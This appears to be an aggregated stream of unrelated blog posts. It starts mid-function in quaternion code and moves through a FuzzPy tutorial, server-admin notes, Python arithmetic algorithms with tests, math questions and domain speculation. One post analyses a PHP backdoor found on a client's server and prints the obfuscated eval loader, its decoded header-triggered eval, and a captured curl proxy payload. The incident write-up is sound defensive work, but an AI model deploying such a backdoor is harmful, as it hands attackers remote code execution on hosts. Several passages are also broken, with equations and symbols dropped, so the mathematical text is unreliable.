                     'xzx': [0, -5, 1, 4, -3, 6, 2, 7],
                     'xzy': [0, 7, 1, -6, -3, 4, 2, 5],
                     'yxy': [0, -5, 2, 7, 1, 4, -3, 6],
                     'yxz': [0, 7, 2, 5, 1, -6, -3, 4],
                     'yzx': [0, -7, 3, 4, 1, 6, 2, -5],
                     'yzy': [0, -5, 3, -6, 1, 4, 2, 7],
                     'zxy': [0, -7, 2, -5, 3, 4, 1, 6],
                     'zxz': [0, -5, 2, 7, 3, -6, 1, 4],
                     'zyx': [0, 7, -3, 4, 2, 5, 1, -6],
                     'zyz': [0, -5, -3, 6, 2, 7, 1, 4]}
        a, b, c, d = [sum([qterm(eulerquat[convention][i + j * 2]) \
                      for i in range(2)]) for j in range(4)]
        if a > 0:
            return Quaternion(a, -b, -c, -d)
        else:
            return Quaternion(-a, b, c, d)

Now, those hard-coded sequences of numbers? I am sure there is some relationship between the patterns and the conventions that would allow a more concise translation from one to the other. Note that, for a sequence [a, b, c, d, e, f, g, h], any or all of the pairs (a, b), (c, d), (e, f), and (g, h) can be swapped without changing anything (for example, the sequence for zyx could just as easily be [0, 7, 4, -3, 2, 5, -6, 1]). This has the unfortunate effect of making finding a pattern more difficult.

There are a number of tantalizing clues. The first number is always 0. The second is always -5 when two of the rotations are about the same axis, -7 when they are all different and in (rotated) xyz order, and 7 when they are all different and in zyx order. The 1 is always positive and appears in the second pair when the first axis is x, the pair when y, and the fourth when z. And so on.

I wonder if anyone else has figured out something similar? Adolphus wants a 9-line conversion function for its birthday.

FuzzPy is a python library that exposes specialized datatypes to deal with a wide range of fuzzy number types, fuzzy sets, and fuzzy graphs. Binary operations against each type, such as set unions and intersections, can be performed using some of python’s native binary operators (|, &, ==), or specialized methods if you wish to deviate from the default functions for these computations.

FuzzPy also provides several helper methods such as kernel and neighbors isolation, alpha-cuts, cardinality testing, shortest-path computation, and minimum spanning trees. A powerful visualization framework also allows you to quickly create and save visualizations for your data.

In this post, we will examine fuzzy sets and fuzzy graphs, and see how one can use FuzzPy to work with these types, providing examples for each. In the next post of this series, we will examine the different types of fuzzy numbers, generate visualizations, and explore advanced concepts such as automatic fuzzification, and importing graph data from fuzzy adjacency matrices.

Fuzzy Sets

A fuzzy set is simply a set in which each element has an associated degree of membership into the set. This membership value is called -value of the element. A -value of zero indicates that the element does not belong to the set, while any value between zero (exclusive) and one (inclusive), indicates that the element is, to a certain degree, a set member.

Creating a fuzzy set with FuzzPy is just a matter of creating a new FuzzySet object, then either calling the add(FuzzyElement(value, mu)) method for each element to import, or using the update(elements) method, providing it with a list of FuzzyElement(value, -value) tuples for bulk import.

from fuzz import FuzzySet, FuzzyElement
 
# Create two lists of FuzzyElements
elements_a = [(1, 0.3), (2, 0.5), (3, 0.7), (4, 0.9)]
elements_b = [(3, 0.8), (6, 0.6), (1, 0.4), (8, 0.2)]
 
elements_a = [FuzzyElement(x[0], x[1]) for x in elements_a]
elements_b = [FuzzyElement(x[0], x[1]) for x in elements_b]
 
# Create two fuzzy sets
set_a = FuzzySet()
set_b = FuzzySet()
 
set_a.update(elements_a)
set_b.update(elements_b)

We’ve just created a couple fuzzy sets with four elements each. Notice that two of the elements are common to both set_a and set_b (albeit with different -values). We can now perform several operations against these sample sets. Save the code above in a file called example.py and fire up the python interpreter to test fuzzy set functionality against our sets:

>>> from example import *
>>> # Set Difference
...
>>> set_a - set_b
FuzzySet([FuzzyElement(2, 0.500000), FuzzyElement(4, 0.900000)])
>>> set_b - set_a
FuzzySet([FuzzyElement(8, 0.200000), FuzzyElement(6, 0.600000)])
# Set Union
...
>>> set_a | set_b
FuzzySet([FuzzyElement(1, 0.400000), FuzzyElement(2, 0.500000), FuzzyElement(3, 0.800000), FuzzyElement(4, 0.900000), FuzzyElement(6, 0.600000), FuzzyElement(8, 0.200000)])
# Set Intersection
...
>>> set_a & set_b
FuzzySet([FuzzyElement(1, 0.300000), FuzzyElement(3, 0.700000)])

Fuzzy graphs

In a fuzzy graph or digraph, each vertice and each edge can be associated with a -value. The -value of a vertice indicates the vertice’s degree of membership into the graph, while an edge or arc’s -value indicates the degree of connectivity between the head and tail vertices.

The creation of fuzzy graphs is also pretty straightforward: create a set or fuzzy set (see above), then feed that set to the fuzz.Graph constructor, along with the directed boolean value to specify whether you’d like to create a graph or a digraph. You can then use the fuzz.Graph.connect(head, tail, mu) method to add edges to the graph:

import fuzz
 
# Create two sets of vertices
set_a = set([1, 2, 3, 4, 5, 6, 7, 8, 9, 10])
set_b = set([11, 12, 13, 14, 15, 16, 17, 18, 19, 20])
 
# Create our graph objects
graph_a = fuzz.FuzzyGraph(viter=set_a, directed=False)
graph_b = fuzz.FuzzyGraph(viter=set_b, directed=True)
 
# Create some arcs in graph_a
graph_a.connect(1, 3, 0.5)
graph_a.connect(3, 6, 0.06)
graph_a.connect(2, 8, 0.2)
graph_a.connect(4, 1, 0.9)
 
# And some in graph_b
graph_b.connect(11, 19, 0.9)
graph_b.connect(14, 12, 0.3)
graph_b.connect(15, 14, 0.5)

Save the code above in a file named graphs.py and fire up your python interpreter so we can experiment with graph operations:

>>> from graphs import *
>>> # Retrieve the mu value of the edge between 1 and 3
... 
>>> graph_a.mu(3, 1)
0.5
>>> # Retrieve an alpha-cut of graph_b against mu-value of 0.5
... 
>>> graph_b.alpha(0.5)
Graph(viter = set([11, 12, 13, 14, 15, 16, 17, 18, 19, 20]), eiter = set([(15, 14), (11, 19)]), directed = True)
>>> # Is graph_a a subgraph of graph_b? (no)
... graph_a.issubgraph(graph_b)
False
>>> # Detect adjacent (connected) vertices
...
>>> graph_a.adjacent(1, 2)
False
>>> graph_a.adjacent(1, 3)
True
>>> # Find all the neighbours of the vertex with value 3
... 
>>> graph_a.neighbors(3)
set([1, 6])
>>> # Find the shortest path to all vertices using 6 as origin
... 
>>> graph_a.dijkstra(6)
{1: 3, 2: None, 3: 6, 4: 1, 5: None, 6: None, 7: None, 8: None, 9: None, 10: None}
>>> # Find the minimum spanning tree of graph_a
... 
>>> graph_a.minimum_spanning_tree()
Graph(viter = set([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), eiter = set([(2, 8), (1, 3), (4, 1), (3, 6)]), directed = False)

There are a few more operations available for both crisp and fuzzy graphs/digraphs. You should consult the API doc for a comprehensive list.

You should also consult the examples provided as part of the module on GitHub to see FuzzPy in action.

Share

My gui is coming along, and I'd thought I'd snap some screenshots of things I've made so far.

The url http://images.sandmines.org is a directory containing some images of my current apps.

gridit is basically a simple icon editing tool I made. This is the first thing I wrote to allow myself to make simple images for things like the fileselect dialog.

ircit is my irc client. Its really basic right now, but it does function. I've been using this as my client for a couple months now, and the main reason I use it is to test the stability of SMG (since its running all the time).

read more

So things are largely set up on the server, just waiting for drupal.wuug.org to go live on the wuug nameservers (ns2.servertree.net is holding out for some reason). The git repository is set up at drupal.wuug.org:/srv/wuug/drupal/WUUG-Drupal-Project.git. The public-6 branch will automatically checkout into /srv/drupal-6/sites/drupal.wuug.org which is the root of the config space for drupal.wuug.org. This checkout is done with user credentials, so I hope I confgured the group permissions correctly. I really should test this with a nested checkout to see whether checked out directories have the appropriate permissions and group ownership. I am setting the umask in the git update hook so it only a matter of the group for newly created files and directories that may be off. I have set the setgid bit on the root directory, and all new users are getting wuug as their primary group, so the only potential snag is in checkouts from me! This is my first attempt at administration for multiple users, so I may have messed it up.

I only have two users so far! And no activity.

Drush is now back in the path and so executing something like

$drush --remote-host=drupal.wuug.org --root=/srv/drupal-6 --uri=http://drupal.wuug.org status

should now work properly (i.e. without fork bombing). Drush is the drupal shell and can be quite a bit faster to use than the web interface. I handed out the user/password combo at the last meeting but only Patrick was there so that didn't quite work as planned. I think I'll just post it in a text file on the server (accessible through ssh)

I have pre-installed a bunch of modules in sites/all/modules which may be activated at any time. Other modules should be installable with drush --- putting standard modules into the git repository is a bad idea. Will have to test this.

The git repository is gitweb browsable, but only through my free.draisey.ca web site. I will have to get do something wuug branded. Also I haven't yet set up anonymous git pulls. That should be easy though.

I think I'll try some theming. I'll use with the Zen theme as the basis.

The typical approach to exponentiation of a base b by an exponent n is to repeatedly multiply the base by itself, as such:

This is easy to compute for small values but quickly chokes with very large values.

A faster approach involves converting the exponent into base 2, then multiplying the running total and squaring the base each time a 1-bit is encountered. The python implementation looks like this:

def binary_exponent(base, exponent):
    """\
    Binary Exponentiation
 
    Instead of computing the exponentiation in the traditional way,
    convert the exponent to its reverse binary representation.
 
    Each time a 1-bit is encountered, we multiply the running total by
    the base, then square the base.
    """
    # Convert n to base 2, then reverse it.
    exponent = bin(exponent)[2:][::-1]
 
    result = 1
    for i in range(0, len(exponent)):
        if exponent[i] == '1':
            result *= base
        base *= base
    return result

Similarly, the same approach can be taken to perform modular exponentiation against very large exponents:

def modular_exponent(base, exponent, mod):
    """\
    Modular exponentiation through binary decomposition.
 
    We use the same technique as for the binary exponentiation above in
    order to find the modulo of our very large exponent and an arbitrary
    integer mod.
    """
    exponent = bin(exponent)[2:][::-1]
 
    x = 1
    power = base % mod
    for i in range(0, len(exponent)):
        if exponent[i] == '1':
            x = (x * power) % mod
        power = (power ** 2) % mod
    return x

The optimization is especially visible for the modulo operation, since we are working on smaller numbers with each iteration, whereas for simple exponentiation, the CPython interpreter can already optimize the operation.
The speedup for modular exponentiation on my system was in the order of 72x the speed of a simple whereas the the computation of the exponentiation took about the same time in both cases.

Share

Today I’d like to demonstrate a simple implementation of Kenneth Rosen‘s binary addition and multiplication algorithms as outlined in "Discrete Mathematics and its Applications". Both algorithms are very simple and work the same way we’ve all learned to do decimal additions and multiplications by hand in grade-school.

As usual, I’ve also provided a unit-test suite for each algorithm.

Please note: This is only intended to demonstrate the algorithms. If you are actually trying to do some real work with binary numbers in Python, note that the language itself provides a highly optimized implementation of binary numbers and related operations. Here are a few examples:

# Decimal to binary conversion:
>>> bin(15)
'0b1111'
 
# Binary to decimal conversion:
>>> str(0b1111)
'15'
 
# Binary addition:
>>> bin(0b1111 + 0b10011)
'0b100010'
 
# Binary multiplication:
>>> bin(0b1111 * 0b10011)
'0b100011101'

Binary Addition

We will use strings in this example to represent sequences of bits. The algorithm operates right-to-left, maintaining a carry each time it adds two 1-valued bits.

Code:

"""Simple binary operation algorithm."""
 
import math
 
# a and b should be string representation of the binary components
# You could easily extend this to overload the + operator for binaries,
# but this is already built into python.
def binary_addition(bin_a, bin_b):
    """Performs a binary addition against two provided binary numbers"""
 
    # Pad the components so they are of equal length
    max_length = max(len(bin_a), len(bin_b))
    bin_a, bin_b = bin_a.zfill(max_length), bin_b.zfill(max_length)
 
 
    carry = 0
    result = ''
 
    # Note that we work from right to left
    for i in range(0, max_length)[::-1]:
        tmp = int(math.floor((int(bin_a[i]) + int(bin_b[i]) + carry)/2))
        res = str(int(bin_a[i]) + int(bin_b[i]) + carry - 2*tmp)
        result += res
        carry = tmp
 
    result = (result + str(carry))[::-1]
    try:
        return result[result.index('1'):]
    except ValueError, ex:
        return '0'

Unit Test:

"""Unit test for binary_addition.py"""
 
import unittest
from binary_addition import binary_addition
 
class TestBinaryAddition(unittest.TestCase):
 
    """Comparing python binary addition against our own"""
 
    def test_add_same_length(self):
 
        """Adding 2 binary numbers of the same length"""
 
        bin_a = '001001101'
        bin_b = '011011010'
 
        self._compare_additions(bin_a, bin_b)
 
    def test_add_b_larger(self):
 
        """ B has more digits than A """
 
        bin_a = '01000101'
        bin_b = '1110010110101011101101011101000101'
 
        self._compare_additions(bin_a, bin_b)
 
    def test_add_b_smaller(self):
 
        """B has less digits than A"""
 
 
        bin_a = '1110001001001001001101101011000101'
        bin_b = '0110010'
 
        self._compare_additions(bin_a, bin_b)
 
    def _compare_additions(self, bin_a, bin_b):
 
        """Compares the python implementation against ours"""
 
        bin_add = binary_addition(bin_a, bin_b)
        py_add = bin(eval("0b%s" % bin_a) + eval("0b%s" % bin_b))
 
        algo_res = bin_add[bin_add.index('1'):]
        py_res = py_add[py_add.index('1'):]
 
        self.assertEqual(py_res, algo_res)
 
 
 
if '__main__' == __name__:
    unittest.main()

Binary Multiplication

We are still using strings to represent bit sequences. We are still working from right to left, shifting to the left every number from the first number that needs to be multiplied by 1 in the second number. We then append the result to a list that we sum at the end, using the previous algorithm.

Code:

"""Simple Binary multiplication algorithm"""
 
 
import sys
import os.path
 
from binary_addition import binary_addition
 
 
def binary_multiplication(bin_a, bin_b):
    """Multiplies two binary numbers by using python lists to
    easily shift digits around"""
 
    temp_result = []
    result = "0"
 
    # Remove any unnecessary padding
    bin_a = bin_a[bin_a.index('1'):]
    bin_b = bin_b[bin_b.index('1'):]
 
    for i in range(0, len(bin_b))[::-1]:
        if bin_b[i] == '1':
            temp_result.append("%s%s" % (bin_a, "0" * (len(bin_b)-i-1)))
        else:
            temp_result.append("0")
 
 
    for val in temp_result:
        result = binary_addition(str(result), str(val))
 
    return result

Unit Test:

"""Unit test for binary_addition.py"""
 
import unittest
from binary_multiplication import binary_multiplication
 
class TestBinaryAddition(unittest.TestCase):
 
    """Comparing python binary multiplication against our own"""
 
    def test_add_same_length(self):
 
        """Multiplying 2 binary numbers of the same length"""
 
        bin_a = '001001101'
        bin_b = '011011010'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_simple(self):
 
        """Multiplying 2 simple binary numbers"""
        bin_a = '110'
        bin_b = '101'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_add_b_larger(self):
 
        """B has more digits than A"""
 
        bin_a = '010'
        bin_b = '111001011000101'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_add_b_smaller(self):
 
        """ B has less digits than A """
 
        bin_a = '111001011000101'
        bin_b = '010'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def _compare_multiplications(self, bin_a, bin_b):
 
        """Compares the python implementation against ours"""
 
        bin_mult = binary_multiplication(bin_a, bin_b)
        py_mult = bin(eval("0b%s" % bin_a) * eval("0b%s" % bin_b))
 
        algo_res = bin_mult[bin_mult.index('1'):]
        py_res = py_mult[py_mult.index('1'):]
 
        self.assertEqual(py_res, algo_res)
 
 
 
if '__main__' == __name__:
    unittest.main()

Share

Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem.  One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:

access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Obviously, the IPs have been removed to protect the innocent.  What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening — and they look to come from our server.

After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs.  A remote machine would send requests to a group of servers hosting this PHP file:

$_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');

I have to give it to them, at least they obfuscated the code.  It took a while before I realized the extent of their hidden code.  Unobfuscating this file gives us:

$_fcxxxcc="preg_replace";
preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.')

Base 64 decoding this string gives us:

if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b'  and isset($_SERVER['HTTP_X_CODE']))
    @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])));

Finally, we’re getting somewhere!

Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system.  But, what kind of payload are they sending to their script?  Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for.  After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):

header("X_GZIP: TRUE");
header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17");
error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init();
curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15;
curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9")));
/* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */
curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:"";
curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=")));
// s:140:"http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";
$response=curl_exec($cr);
$md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info");
if(is_bool($response) and $response == false) {
    echo "<$md5_error>".curl_errno($cr)."|".curl_error($cr)."";
    exit;
}
echo "<$md5_info>".serialize(curl_getinfo($cr))."";
if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){
    $response="GZIP|".base64_encode(gzdeflate($response,9));
}
echo "<$md5_content>$response";
exit;

The definition of the curl_setopt call is as follows:

bool curl_setopt ( resource $ch , int $option , mixed $value )

Let’s break down all of the Curl options we are setting here.  Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:

• Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
• Option 19913 (CURLOPT_RETURNTRANSFER => “1″): Returns the value of curl_exec as a string.
• Option 42 (CURLOPT_HEADER => “1″): Includes the header in the output.
• Option 53 (CURLOPT_TRANSFERTEXT => “1″): Uses ASCII mode for FTP transfers.
• Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
• Option 19914 (CURLOPT_BINARYTRANSFER => “1″): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
• Option 64 (CURLOPT_SSL_VERIFYPEER => “1″): Verifies the site’s SSL certificate to be valid.
• Option 81 (CURLOPT_SSL_VERIFYHOST => “1″): Verifies the correct SSL hostname for the certificate.
• Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
  • “Accept: */*”: Specifies that all media is acceptable for response from the HTTP request
  • “Accept-Language: en-us”: Specifies that we are looking for an English return.
  • “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
  • “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&amp;T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
  • “Expect: “: Indicates that no behavior is required by the client.
  • “Accept-Encoding: “: Indicates that we accept all encoding.
  • “Keep Alive: 115″: Sets a keep-alive timeout of 115.
  • “Referer: <cut for clarity:  see in source above>”: Sets a seemingly bogus referer, although this may be legit in some cases.
• Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
• Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
• Option 10002 (CURLOPT_URL): Sets the URL to fetch.

If you would like to see a mapping of integer=>constant name for the curl curl options in PHP, you can find that here.

It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language.  In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.

I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.

References and Attributions:

1. PHP: curl_setopt
2. RFC2616: Hypertext Transfer Protocol — HTTP/1.1
3. Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.

I felt it would be helpful to folks interested in Python and studying algorithms, to review some commonly studied algorithms in Computer Science by providing a small description and a Python implementation of each algorithm.

This week, we’ll cover an introductory algorithm for converting from one numeral base to another. Here is the python code:

"""Simple implementation of a base expansion algorithm"""
 
import math
 
def base_expand(base, val):
    """This simple function performs a base-expansion from decimal
    using moduli and a translation table. The translation table is
    a clear limitation here, in that it implies the maximum base
    is 36."""
 
    if (base < 2) or (base > 36):
        raise BaseOutOfBoundsError(base)
 
    trans_table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    res = ''
 
    while val != 0:
        res += trans_table[(int(val % base))]
        val = math.floor(val / base)
    return res[::-1]
 
class BaseOutOfBoundsError(Exception):
    """Base must be between 2 and 36"""
    def __init__(self, val):
        self.val = val
    def __str__(self):
        print "\nInvalid base: %s. Base must be (x | x > 1; x < 37)" % \
            self.val

Here is a unit-test for base_expand.py:

"""Unit tests for base_expansion.py"""
 
import unittest
from base_expansion import base_expand, BaseOutOfBoundsError
 
# Unit tests for base_expansion.py
class TestVals(unittest.TestCase):
    """Test suite"""
 
    def test_known_values(self):
        """Testing against known values"""
 
        vals = [{'val': 8, 'base': 2, 'expect': '1000'},
            {'val': 915652, 'base': 16, 'expect': 'DF8C4'},
            {'val': 256, 'base': 10, 'expect': '256'},
            {'val': 88189, 'base': 8, 'expect': '254175'}]
 
        for val in vals:
            self.assertEqual(val['expect'], \
                base_expand(val['base'], val['val']))
 
    def test_invalid_base(self):
        """ Testing invalid bases """
 
        bases = [1, 37, 50, 100]
        for base in bases:
            self.assertRaises(BaseOutOfBoundsError, base_expand, \
                base, 1)
 
 
 
if '__main__' == __name__:
    unittest.main()

Share

Problem:

Given a line of slope m in the Euclidean plane, what is the slope m’ of the line rotated (counterclockwise) by angle θ?

Solution:

Suppose we have an equation for the line of the form y = mx + b. We can ignore b as it is unrelated to the slope (in effect, we are working in an affine space).

So, y = mx for our purposes. Every point satisfying this equation is a multiple of

and, similarly, every point satisfying the equation y = m’x of the rotated line is a multiple of

Since the latter point is the image of the former after rotation by θ, the points are related by a rotation matrix, like so:

Solving for m’ then yields

which, of course, is our solution in terms of m and θ.

I humbly entreat any analytical intellects of greater constitution than my own (of which, to be sure, there is no dearth) to enlighten me in matters mathematical.

First of all, if I have a 5-dimensional space which consists of a 3-dimensional Euclidean space plus direction (defined by inclination and azimuth) — that is, the set of vectors where , , and — what is that called? Of course, this generalizes to a (2p – 1)-dimensional space with a p-dimensional Euclidean spatial component. I have been calling fuzzy subsets of this space spatial-directional fuzzy sets, but spatial-directional space sounds patently ridiculous.

Second, is it possible to define a useful distance metric in such a space? Chaudhuri and Rosenfeld generalize the Hausdorff distance to arbitrary fuzzy subsets of a metric space, but this is of little use to me if my universal space is not metric. The natural way to define distance between two directions is to use the angle between the corresponding vectors, or similarly a norm on the surface of a torus. The obvious problem is that the numbers used for space and angle bear no relation to one another, so it seems nonsensical to combine them in a single metric (scaling and other such hackery need not apply). Yet, configuration spaces with similar discord among the units of their dimensions abound in engineering. Surely someone has tried to do something like this before?

When I first read Andrew Badr‘s post on his tests with domain squatting^W speculation, I was immediately interested in the methods that he used.  Having checked out multiple domain speculation websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.

Coincidentally, I have been reading up on Python lately and have become pretty interested in the language.  For my first script implementation, I decided to explore the 4,4 space in English word .com domains.  I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.

Andrew used a method that included some manual work, which I wanted to avoid.  I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case.  I ended up with 3903 4-letter English words.  This space (3903^2) was far too large to start sending queries out, and also too large to manually edit.  What to do?

I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was.  After inserting each word and it’s relevance into a simple MySQL table, I was ready to begin hammering away to see what was available for registration.

Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database.  According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.

The results are pretty interesting, with many (what I would consider) top-term .com domains available.  Here are some of my favorites quickly off of the file (inb4registration):

• thisholy.com
• thatecho.com
• homehide.com
• homemeet.com
• havethem.com

